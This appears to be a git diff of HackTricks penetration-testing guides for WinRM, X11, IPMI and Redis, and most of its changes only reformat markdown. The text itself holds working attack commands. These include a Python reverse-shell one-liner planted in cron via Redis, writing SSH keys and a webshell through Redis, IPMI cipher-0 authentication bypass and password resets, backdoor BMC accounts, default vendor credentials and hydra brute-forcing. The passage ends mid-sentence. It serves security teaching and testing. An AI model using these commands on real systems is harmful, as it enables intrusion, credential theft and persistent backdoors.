Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426%28v=vs.85%29.aspx) \(WinRM\) is a Microsoft protocol that **allows remote management of Windows machines** over HTTP\(S\) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. +[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) is a Microsoft protocol that **allows remote management of Windows machines** over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. -If WinRM is enabled on the machine, it's trivial to remotely administer the machine from PowerShell. In fact, you can just drop in to a remote PowerShell session on the machine \(as if you were using SSH!\) +If WinRM is enabled on the machine, it's trivial to remotely administer the machine from PowerShell. In fact, you can just drop in to a remote PowerShell session on the machine (as if you were using SSH!) The easiest way to detect whether WinRM is available is by seeing if the port is opened. WinRM will listen on one of two ports: -* **5985/tcp \(HTTP\)** -* **5986/tcp \(HTTPS\)** +* **5985/tcp (HTTP)** +* **5986/tcp (HTTPS)** If one of these ports is open, WinRM is configured and you can try entering a remote session. @@ -19,7 +19,7 @@ If one of these ports is open, WinRM is configured and you can try entering a re We first have to configure our attack machine to work with WinRM as well. We need to enable it and add any "victims" as trusted hosts. From an elevated PowerShell prompt, run the following two commands: -```text +``` Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` @@ -28,7 +28,7 @@ This adds a wildcard to the trustedhosts setting. Be wary of what that entails. You can also **activate** WinRM **remotely** _\*\*\_using \_wmic_: -```text +``` wmic /node: process call create "powershell enable-psremoting -force" ``` @@ -36,9 +36,9 @@ wmic /node: process call create "powershell enable-psremoting -forc Once the attack machine is configured, use the `Test-WSMan` function to test whether the target is configured for WinRM. You should see some information returned about the protocol version and wsmid: -![](../.gitbook/assets/image%20%28230%29.png) +![](<../.gitbook/assets/image (161).png>) -![](../.gitbook/assets/image%20%28206%29.png) +![](<../.gitbook/assets/image (162).png>) In this case the first one is configured and the second isn't. @@ -46,11 +46,11 @@ In this case the first one is configured and the second isn't. Now we can use PowerShell's `Invoke-Command` to remotely execute a command on the target over WinRM. To remotely run `ipconfig` and see the output: -```text +``` Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` -![](../.gitbook/assets/image%20%2819%29.png) +![](<../.gitbook/assets/image (163).png>) You can also **execute a command of your current PS console via** _**Invoke-Command**_. Suppose that you have locally a function called _**enumeration**_ and you want to **execute it in a remote computer**, you can do: @@ -78,15 +78,15 @@ Or, if you want to drop right into an interactive PowerShell session, use the `E Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ``` -![](../.gitbook/assets/image%20%2892%29.png) +![](<../.gitbook/assets/image (164).png>) -**The session will run in a new process \(wsmprovhost\) inside the "victim"** +**The session will run in a new process (wsmprovhost) inside the "victim"** ### **Forcing WinRM Open** If you really want to use PS Remoting and WinRM but the target isn't configured for it, you could "force" it on through a single command. I wouldn't recommend this but if you really wanted to use WinRM or PSRemoting than by all means do it this way. For example, using PSExec: -```text +``` PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` @@ -115,7 +115,7 @@ If you find the following error: `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` -The try on the client \(info from [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)\): +The try on the client (info from [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): ```ruby winrm quickconfig @@ -160,11 +160,11 @@ To use evil-winrm to connect to an **IPv6 address** create an entry inside _**/e evil-winrm -u -H -i ``` -![](../.gitbook/assets/image%20%2835%29.png) +![](<../.gitbook/assets/image (173).png>) ### Using a PS-docker machine -```text +``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds @@ -172,7 +172,7 @@ Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential ### Using a ruby script -Code extracted from here: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm_shell/) +Code extracted from here: [https://alamot.github.io/winrm_shell/](https://alamot.github.io/winrm_shell/) ```ruby require 'winrm-fs' @@ -233,7 +233,7 @@ end ## HackTricks Automatic Commands -```text +``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out @@ -269,4 +269,3 @@ Entry_2: Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` - diff --git a/pentesting/6000-pentesting-x11.md b/pentesting/6000-pentesting-x11.md index 2487215c..05c2c503 100644 --- a/pentesting/6000-pentesting-x11.md +++ b/pentesting/6000-pentesting-x11.md @@ -2,12 +2,12 @@ ## Basic Information -The X Window System \(aka X\) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this. -From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/\#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) +The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.\ +From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) **Default port:** 6000 -```text +``` PORT STATE SERVICE 6000/tcp open X11 ``` @@ -34,7 +34,7 @@ xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display Sample Output: -```text +``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng @@ -51,9 +51,9 @@ convert screenshot.xwd screenshot.png ## Remote Desktop View -Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/\#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) +Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) -```text +``` ./xrdp.py ``` @@ -61,7 +61,7 @@ Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](ht First we need to find the ID of the window using xwininfo -```text +``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) @@ -99,7 +99,7 @@ For **live viewing** we need to use ## Get Shell -```text +``` msf> use exploit/unix/x11/x11_keyboard_exec ``` @@ -107,30 +107,29 @@ Other way: **Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command: -**./xrdp.py <IP:0> –no-disp** +**./xrdp.py \ –no-disp**\ +**** - -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217_0051_ExploitingX15.jpg) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX15.jpg) It will prompt a new control pane where we can see the R-shell option, which is illustrated below: -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217_0051_ExploitingX16.jpg) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX16.jpg) We will start the Netcat listening mode in our local system on port 5555, which is illustrated below: -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217_0051_ExploitingX17.jpg) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX17.jpg) Then add the IP and port and then select R-Shell, which is illustrated below: -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217_0051_ExploitingX18.jpg) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX18.jpg) Now as can be seen below we have complete system access: -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217_0051_ExploitingX19.jpg) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX19.jpg) -{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/\#gref" %} +{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %} ## Shodan * `port:6000 x11` - diff --git a/pentesting/623-udp-ipmi.md b/pentesting/623-udp-ipmi.md index b5a0d63c..98610368 100644 --- a/pentesting/623-udp-ipmi.md +++ b/pentesting/623-udp-ipmi.md @@ -1,14 +1,14 @@ # 623/UDP/TCP - IPMI -**Information taken from** [**https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/**](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)\*\*\*\* +**Information taken from **[**https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/**](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)**** ## Basic Information -Baseboard Management Controllers \(BMCs\) are a type of embedded computer used to provide out-of-band monitoring for desktops and servers. These products are sold under many brand names, including HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and Supermicro IPMI. BMCs are often implemented as embedded ARM systems, running Linux and connected directly to the southbridge of the host system's motherboard. Network access is obtained either via 'sideband' access to an existing network card or through a dedicated interface. In addition to being built-in to various motherboards, BMCs are also sold as pluggable modules and PCI cards. Nearly all servers and workstations ship with or support some form of BMC. The Intelligent Platform Management Interface \(IPMI\) is a collection of specifications that define communication protocols for talking both across a local bus as well as the network. This specification is managed by Intel and currently comes in two flavors, version 1.5 and version 2.0. The primary goal of Dan Farmer's research was on the security of the IPMI network protocol that uses UDP port 623. A diagram of the how the BMC interfaces with the system is shown below \(CC-SA-3.0 \(C\) U. Vezzani\). +Baseboard Management Controllers (BMCs) are a type of embedded computer used to provide out-of-band monitoring for desktops and servers. These products are sold under many brand names, including HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and Supermicro IPMI. BMCs are often implemented as embedded ARM systems, running Linux and connected directly to the southbridge of the host system's motherboard. Network access is obtained either via 'sideband' access to an existing network card or through a dedicated interface. In addition to being built-in to various motherboards, BMCs are also sold as pluggable modules and PCI cards. Nearly all servers and workstations ship with or support some form of BMC. The Intelligent Platform Management Interface (IPMI) is a collection of specifications that define communication protocols for talking both across a local bus as well as the network. This specification is managed by Intel and currently comes in two flavors, version 1.5 and version 2.0. The primary goal of Dan Farmer's research was on the security of the IPMI network protocol that uses UDP port 623. A diagram of the how the BMC interfaces with the system is shown below (CC-SA-3.0 (C) U. Vezzani). ![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) -**Default Port**: 623/UDP/TCP \(It's usually on UDP but it could also be running on TCP\) +**Default Port**: 623/UDP/TCP (It's usually on UDP but it could also be running on TCP) ## Enumeration @@ -20,7 +20,7 @@ nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` -You can **identify** the **version** using: +You can **identify **the **version **using: ```bash use auxiliary/scanner/ipmi/ipmi_version @@ -28,16 +28,16 @@ use auxiliary/scanner/ipmi/ipmi_version ### Vulnerability - IPMI Authentication Bypass via Cipher 0 -Dan Farmer [identified a serious failing](http://fish2.com/ipmi/cipherzero.html) of the IPMI 2.0 specification, namely that cipher type 0, an indicator that the client wants to use clear-text authentication, actually **allows access with any password**. Cipher 0 issues were identified in HP, Dell, and Supermicro BMCs, with the issue likely encompassing all IPMI 2.0 implementations. +Dan Farmer [identified a serious failing](http://fish2.com/ipmi/cipherzero.html) of the IPMI 2.0 specification, namely that cipher type 0, an indicator that the client wants to use clear-text authentication, actually** allows access with any password**. Cipher 0 issues were identified in HP, Dell, and Supermicro BMCs, with the issue likely encompassing all IPMI 2.0 implementations.\ Note that to exploit this issue you first need to **find a valid user**. -You can **identify** this issue using: +You can **identify **this issue using: -```text +``` use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` -And you can **abuse** this issue with `ipmitool`: +And you can **abuse **this issue with `ipmitool`: ```bash apt-get install ipmitool #Install @@ -51,17 +51,17 @@ ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 ### Vulnerability - IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval -Basically, **you can ask the server for the hashes MD5 and SHA1 of any username and if the username exists those hashes will be sent back.** Yeah, as amazing as it sounds. And there is a **metasploit module** for testing this \(you can select the output in John or Hashcat format\): +Basically,** you can ask the server for the hashes MD5 and SHA1 of any username and if the username exists those hashes will be sent back. **Yeah, as amazing as it sounds. And there is a **metasploit module **for testing this (you can select the output in John or Hashcat format): ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` -_Note that for this you only need a list of usernames to brute-force \(metasploit already contains one with default usernames\)._ +_Note that for this you only need a list of usernames to brute-force (metasploit already contains one with default usernames)._ -Using `ipmitool`bypassing authentication \(`-c 0`\) to change the root password to abc123: +Using `ipmitool`bypassing authentication (`-c 0`) to change the root password to abc123: -```text +``` root@kali:~# apt-get install ipmitool root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit @@ -72,7 +72,7 @@ root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set pass ### Vulnerability - IPMI Anonymous Authentication - In addition to the authentication problems above, Dan Farmer noted that **many BMCs ship with "anonymous" access enabled by default**. This is configured by setting the username of the first **user** account to a **null string** and **setting** a **null password** to match. The _ipmi\_dumphashes_ module will identify and dump the password hashes \(including blank passwords\) for null user accounts. **This account can be difficult to use on its own, but we can leverage `ipmitool` to reset the password of a named user account** and leverage that account for access to other services: + In addition to the authentication problems above, Dan Farmer noted that **many BMCs ship with "anonymous" access enabled by default**. This is configured by setting the username of the first **user **account to a **null string **and **setting **a **null password **to match. The _ipmi_dumphashes_ module will identify and dump the password hashes (including blank passwords) for null user accounts. **This account can be difficult to use on its own, but we can leverage `ipmitool `to reset the password of a named user account **and leverage that account for access to other services: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list @@ -87,7 +87,7 @@ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Ch ### Vulnerability - Supermicro IPMI Clear-text Passwords -The IPMI 2.0 specification mandates that the BMC respond to HMAC-based authentication methods such as SHA1 and MD5. This authentication process has some serious weaknesses, as demonstrated in previous examples, but also **requires access to the clear-text password in order to calculate the authentication hash**. This means that the BMC must store a **clear-text version** of all configured user passwords somewhere in **non-volatile storage**. In the case of **Supermicro**, this location changes between firmware versions, but is either **`/nv/PSBlock`** or **`/nv/PSStore`**. The passwords are scattered between various binary blobs, but easy to pick out as they always follow the username. This is a serious issue for any organization that uses shared passwords between BMCs or even different types of devices. +The IPMI 2.0 specification mandates that the BMC respond to HMAC-based authentication methods such as SHA1 and MD5. This authentication process has some serious weaknesses, as demonstrated in previous examples, but also** requires access to the clear-text password in order to calculate the authentication hash**. This means that the BMC must store a **clear-text version** of all configured user passwords somewhere in **non-volatile storage**. In the case of **Supermicro**, this location changes between firmware versions, but is either **`/nv/PSBlock`** or **`/nv/PSStore`**. The passwords are scattered between various binary blobs, but easy to pick out as they always follow the username. This is a serious issue for any organization that uses shared passwords between BMCs or even different types of devices. ```bash cat /nv/PSBlock @@ -96,7 +96,7 @@ The IPMI 2.0 specification mandates that the BMC respond to HMAC-based authentic ### Vulnerability - Supermicro IPMI UPnP -Supermicro includes a **UPnP SSDP listener running on UDP port 1900** on the IPMI firmware of many of its recent motherboards. On versions prior to SMT\_X9\_218 this service was running the Intel SDK for UPnP Devices, version 1.3.1. This version is vulnerable to [the issues Rapid7 disclosed](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) in February of 2013, and an exploit target for this platform is part of the Metasploit Framework. The interesting thing about this attack is that it **yields complete root access to the BMC**, something that is otherwise difficult to obtain. Keep in mind than an attacker with administrative access, either over the network or from a root shell on the host system, can downgrade the firmware of a Supermicro BMC to a vulnerable version and then exploit it. Once **root** access is **obtained**, it is possible to **read cleartext credentials** from the file system, **install** additional **software**, and integrate permanent **backdoors** into the BMC that would survive a full reinstall of the host's operating system. +Supermicro includes a **UPnP SSDP listener running on UDP port 1900** on the IPMI firmware of many of its recent motherboards. On versions prior to SMT_X9\_218 this service was running the Intel SDK for UPnP Devices, version 1.3.1. This version is vulnerable to [the issues Rapid7 disclosed](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) in February of 2013, and an exploit target for this platform is part of the Metasploit Framework. The interesting thing about this attack is that it **yields complete root access to the BMC**, something that is otherwise difficult to obtain. Keep in mind than an attacker with administrative access, either over the network or from a root shell on the host system, can downgrade the firmware of a Supermicro BMC to a vulnerable version and then exploit it. Once **root **access is **obtained**, it is possible to **read cleartext credentials **from the file system, **install **additional **software**, and integrate permanent **backdoors **into the BMC that would survive a full reinstall of the host's operating system. ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow @@ -106,19 +106,19 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow Note that only HP randomizes the password during the manufacturing process. -| Product Name | Default Username | Default Password | -| :--- | :--- | :--- | -| **HP Integrated Lights Out \(iLO\)** | Administrator | <factory randomized 8-character string> | -| **Dell Remote Access Card \(iDRAC, DRAC\)** | root | calvin | -| **IBM Integrated Management Module \(IMM\)** | USERID | PASSW0RD \(with a zero\) | -| **Fujitsu Integrated Remote Management Controller** | admin | admin | -| **Supermicro IPMI \(2.0\)** | ADMIN | ADMIN | -| **Oracle/Sun Integrated Lights Out Manager \(ILOM\)** | root | changeme | -| **ASUS iKVM BMC** | admin | admin | +| Product Name | Default Username | Default Password | +| --------------------------------------------------- | ---------------- | ---------------------------------------- | +| **HP Integrated Lights Out (iLO)** | Administrator | \ | +| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin | +| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD (with a zero) | +| **Fujitsu Integrated Remote Management Controller** | admin | admin | +| **Supermicro IPMI (2.0)** | ADMIN | ADMIN | +| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme | +| **ASUS iKVM BMC** | admin | admin | ## Exploiting the Host from the BMC -Once administrative access to the BMC is obtained, there are a number of methods available that can be used to gain access to the host operating system. The most direct path is to abuse the BMCs KVM functionality and reboot the host to a root shell \(init=/bin/sh in GRUB\) or specify a rescue disk as a virtual CD-ROM and boot to that. Once raw access to the host's disk is obtained, it is trivial to introduce a backdoor, copy data from the hard drive, or generally do anything needing doing as part of the security assessment. The big downside, of course, is that the host has to be rebooted to use this method. Gaining access to the host running is much trickier and depends on what the host is running. If the physical console of the host is left logged in, it becomes trivial to hijack this using the built-in KVM functionality. The same applies to serial consoles - if the serial port is connected to an authenticated session, the BMC may allow this port to be hijacked using the ipmitool interface for serial-over-LAN \(sol\). One path that still needs more research is abusing access to shared hardware, such as the i2c bus and the Super I/O chip. +Once administrative access to the BMC is obtained, there are a number of methods available that can be used to gain access to the host operating system. The most direct path is to abuse the BMCs KVM functionality and reboot the host to a root shell (init=/bin/sh in GRUB) or specify a rescue disk as a virtual CD-ROM and boot to that. Once raw access to the host's disk is obtained, it is trivial to introduce a backdoor, copy data from the hard drive, or generally do anything needing doing as part of the security assessment. The big downside, of course, is that the host has to be rebooted to use this method. Gaining access to the host running is much trickier and depends on what the host is running. If the physical console of the host is left logged in, it becomes trivial to hijack this using the built-in KVM functionality. The same applies to serial consoles - if the serial port is connected to an authenticated session, the BMC may allow this port to be hijacked using the ipmitool interface for serial-over-LAN (sol). One path that still needs more research is abusing access to shared hardware, such as the i2c bus and the Super I/O chip. ![](https://blog.rapid7.com/content/images/post-images/27966/ipmi_bios.png) @@ -126,11 +126,11 @@ Once administrative access to the BMC is obtained, there are a number of methods ![](https://blog.rapid7.com/content/images/post-images/27966/ipmi_boot.png) -![](../.gitbook/assets/image%20%28202%29.png) +![](<../.gitbook/assets/image (202) (2).png>) ## Exploiting the BMC from the Host -In situations where a host with a BMC has been compromised, the **local interface to the BMC can be used to introduce a backdoor user account**, and from there establish a permanent foothold on the server. This attack requires the **`ipmitool`** to be installed on the host and driver support to be enabled for the BMC. The example below demonstrates how the local interface on the host, which does not require authentication, can be used to inject a new user account into the BMC. This method is universal across Linux, Windows, BSD, and even DOS targets. +In situations where a host with a BMC has been compromised, the** local interface to the BMC can be used to introduce a backdoor user account**, and from there establish a permanent foothold on the server. This attack requires the **`ipmitool `**to be installed on the host and driver support to be enabled for the BMC. The example below demonstrates how the local interface on the host, which does not require authentication, can be used to inject a new user account into the BMC. This method is universal across Linux, Windows, BSD, and even DOS targets. ```bash ipmitool user list @@ -151,4 +151,3 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit ## Shodan * `port:623` - diff --git a/pentesting/6379-pentesting-redis.md b/pentesting/6379-pentesting-redis.md index e7390cb9..60c6b027 100644 --- a/pentesting/6379-pentesting-redis.md +++ b/pentesting/6379-pentesting-redis.md @@ -2,11 +2,11 @@ ## Basic Information -Redis is an open source \(BSD licensed\), in-memory **data structure store**, used as a **database**, cache and message broker \(from [here](https://redis.io/topics/introduction)\). By default and commonly Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md). +Redis is an open source (BSD licensed), in-memory **data structure store**, used as a **database**, cache and message broker (from [here](https://redis.io/topics/introduction)). By default and commonly Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md). **Default port:** 6379 -```text +``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` @@ -24,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server ### Banner -Redis is a **text based protocol**, you can just **send the command in a socket** and the returned values will be readable. Also remember that Redis can run using **ssl/tls** \(but this is very weird\). +Redis is a **text based protocol**, you can just **send the command in a socket** and the returned values will be readable. Also remember that Redis can run using **ssl/tls** (but this is very weird). In a regular Redis instance you can just connect using `nc` or you could also use `redis-cli`: @@ -35,7 +35,7 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools The **first command** you could try is **`info`**. It **may return output with information** of the Redis instance **or something** like the following is returned: -```text +``` -NOAUTH Authentication required. ``` @@ -43,17 +43,17 @@ In this last case, this means that **you need valid credentials** to access the ### Redis Authentication -**By default** Redis can be accessed **without credentials**. However, it can be **configured** to support **only password, or username + password**. -It is possible to **set a password** in _**redis.conf**_ file with the parameter `requirepass` **or temporary** until the service restarts connecting to it and running: `config set requirepass p@ss$12E45`. +**By default** Redis can be accessed **without credentials**. However, it can be **configured** to support **only password, or username + password**.\ +It is possible to **set a password** in _**redis.conf**_ file with the parameter `requirepass` **or temporary** until the service restarts connecting to it and running: `config set requirepass p@ss$12E45`.\ Also, a **username** can be configured in the parameter `masteruser` inside the _**redis.conf**_ file. {% hint style="info" %} -If only password is configured the username used is "**default**". +If only password is configured the username used is "**default**".\ Also, note that there is **no way to find externally** if Redis was configured with only password or username+password. {% endhint %} -In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../brute-force.md#redis) **\*\*it. -In case you found valid credentials you need to** authenticate the session\*\* after establishing the connection with the command: +In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../brute-force.md#redis) **\*\*it.**\ +**In case you found valid credentials you need to** authenticate the session\*\* after establishing the connection with the command: ```bash AUTH @@ -74,10 +74,10 @@ CONFIG GET * [ ... Get config ... ] ``` -**Other Redis commands** [**can be found here**](https://redis.io/topics/data-types-intro) **and** [**here**](https://lzone.de/cheat-sheet/Redis)**.** +**Other Redis commands** [**can be found here**](https://redis.io/topics/data-types-intro) **and** [**here**](https://lzone.de/cheat-sheet/Redis)**.**\ Note that the **Redis commands of an instance can be renamed** or removed in the _redis.conf_ file. For example this line will remove the command FLUSHDB: -```text +``` rename-command FLUSHDB "" ``` @@ -91,7 +91,7 @@ Find more interesting information about more Redis commands here: [https://lzone Inside Redis the **databases are numbers starting from 0**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk: -![](../.gitbook/assets/image%20%28346%29.png) +![](<../.gitbook/assets/image (315).png>) In that example the **database 0 and 1** are being used. **Database 0 contains 4 keys and database 1 contains 1**. By default Redis will use database 0. In order to dump for example database 1 you need to do: @@ -110,10 +110,10 @@ GET ### Webshell -From: [http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html](http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html) +From: [http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html](http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)\ You must know the **path** of the **Web site folder**: -```text +``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK @@ -129,30 +129,29 @@ OK ### SSH -Please be aware **`config get dir`** result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of **`config get dir`** you could find the **home** of the **redis user** \(usually _/var/lib/redis_ or _/home/redis/.ssh_\), and knowing this you know where you can write the `authenticated_users` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it: +Please be aware **`config get dir`** result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of **`config get dir`** you could find the **home** of the **redis user** (usually _/var/lib/redis_ or _/home/redis/.ssh_), and knowing this you know where you can write the `authenticated_users` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it: 1. Generate a ssh public-private key pair on your pc: **`ssh-keygen -t rsa`** 2. Write the public key to a file : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. Import the file into redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** -4. Save the public key to the **authorized\_keys** file on redis server: +4. Save the public key to the **authorized_keys** file on redis server: - ```text - root@Urahara:~# redis-cli -h 10.85.0.52 - 10.85.0.52:6379> config set dir /var/lib/redis/.ssh - OK - 10.85.0.52:6379> config set dbfilename "authorized_keys" - OK - 10.85.0.52:6379> save - OK - ``` - -5. Finally, you can **ssh** to the **redis server** with private key : **ssh -i id\_rsa redis@10.85.0.52** + ``` + root@Urahara:~# redis-cli -h 10.85.0.52 + 10.85.0.52:6379> config set dir /var/lib/redis/.ssh + OK + 10.85.0.52:6379> config set dbfilename "authorized_keys" + OK + 10.85.0.52:6379> save + OK + ``` +5. Finally, you can **ssh** to the **redis server** with private key : **ssh -i id_rsa redis@10.85.0.52** **This technique is automated here:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) ### Crontab -```text +``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ @@ -173,16 +172,15 @@ This method can also be used to earn bitcoin :[yam](https://www.v2ex.com/t/286 2. Then you need some way to **upload the compiled** module 3. **Load the uploaded module** at runtime with `MODULE LOAD /path/to/mymodule.so` 4. **List loaded modules** to check it was correctly loaded: `MODULE LIST` -5. **Execute** **commands**: - - ```text - 127.0.0.1:6379> system.exec "id" - "uid=0(root) gid=0(root) groups=0(root)\n" - 127.0.0.1:6379> system.exec "whoami" - "root\n" - 127.0.0.1:6379> system.rev 127.0.0.1 9999 - ``` +5. **Execute** **commands**: + ``` + 127.0.0.1:6379> system.exec "id" + "uid=0(root) gid=0(root) groups=0(root)\n" + 127.0.0.1:6379> system.exec "whoami" + "root\n" + 127.0.0.1:6379> system.rev 127.0.0.1 9999 + ``` 6. Unload the module whenever you want: `MODULE UNLOAD mymodule` ### LUA sandbox bypass @@ -193,7 +191,7 @@ This method can also be used to earn bitcoin :[yam](https://www.v2ex.com/t/286 ​The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis. -```text +``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: @@ -209,7 +207,7 @@ set mykey2 helloworld If you can send **clear text** request **to Redis**, you can **communicate with it** as Redis will read line by line the request and just respond with errors to the lines it doesn't understand: -```text +``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' @@ -219,15 +217,15 @@ If you can send **clear text** request **to Redis**, you can **communicate with -ERR unknown command 'Connection:' ``` -Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** \(maybe with a CRLF vuln\) or **POST parameters**, you will be able to send arbitrary commands to Redis. +Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** (maybe with a CRLF vuln) or **POST parameters**, you will be able to send arbitrary commands to Redis. ### Example: Gitlab SSRF + CRLF to Shell -In **Gitlab11.4.7** were discovered a **SSRF** 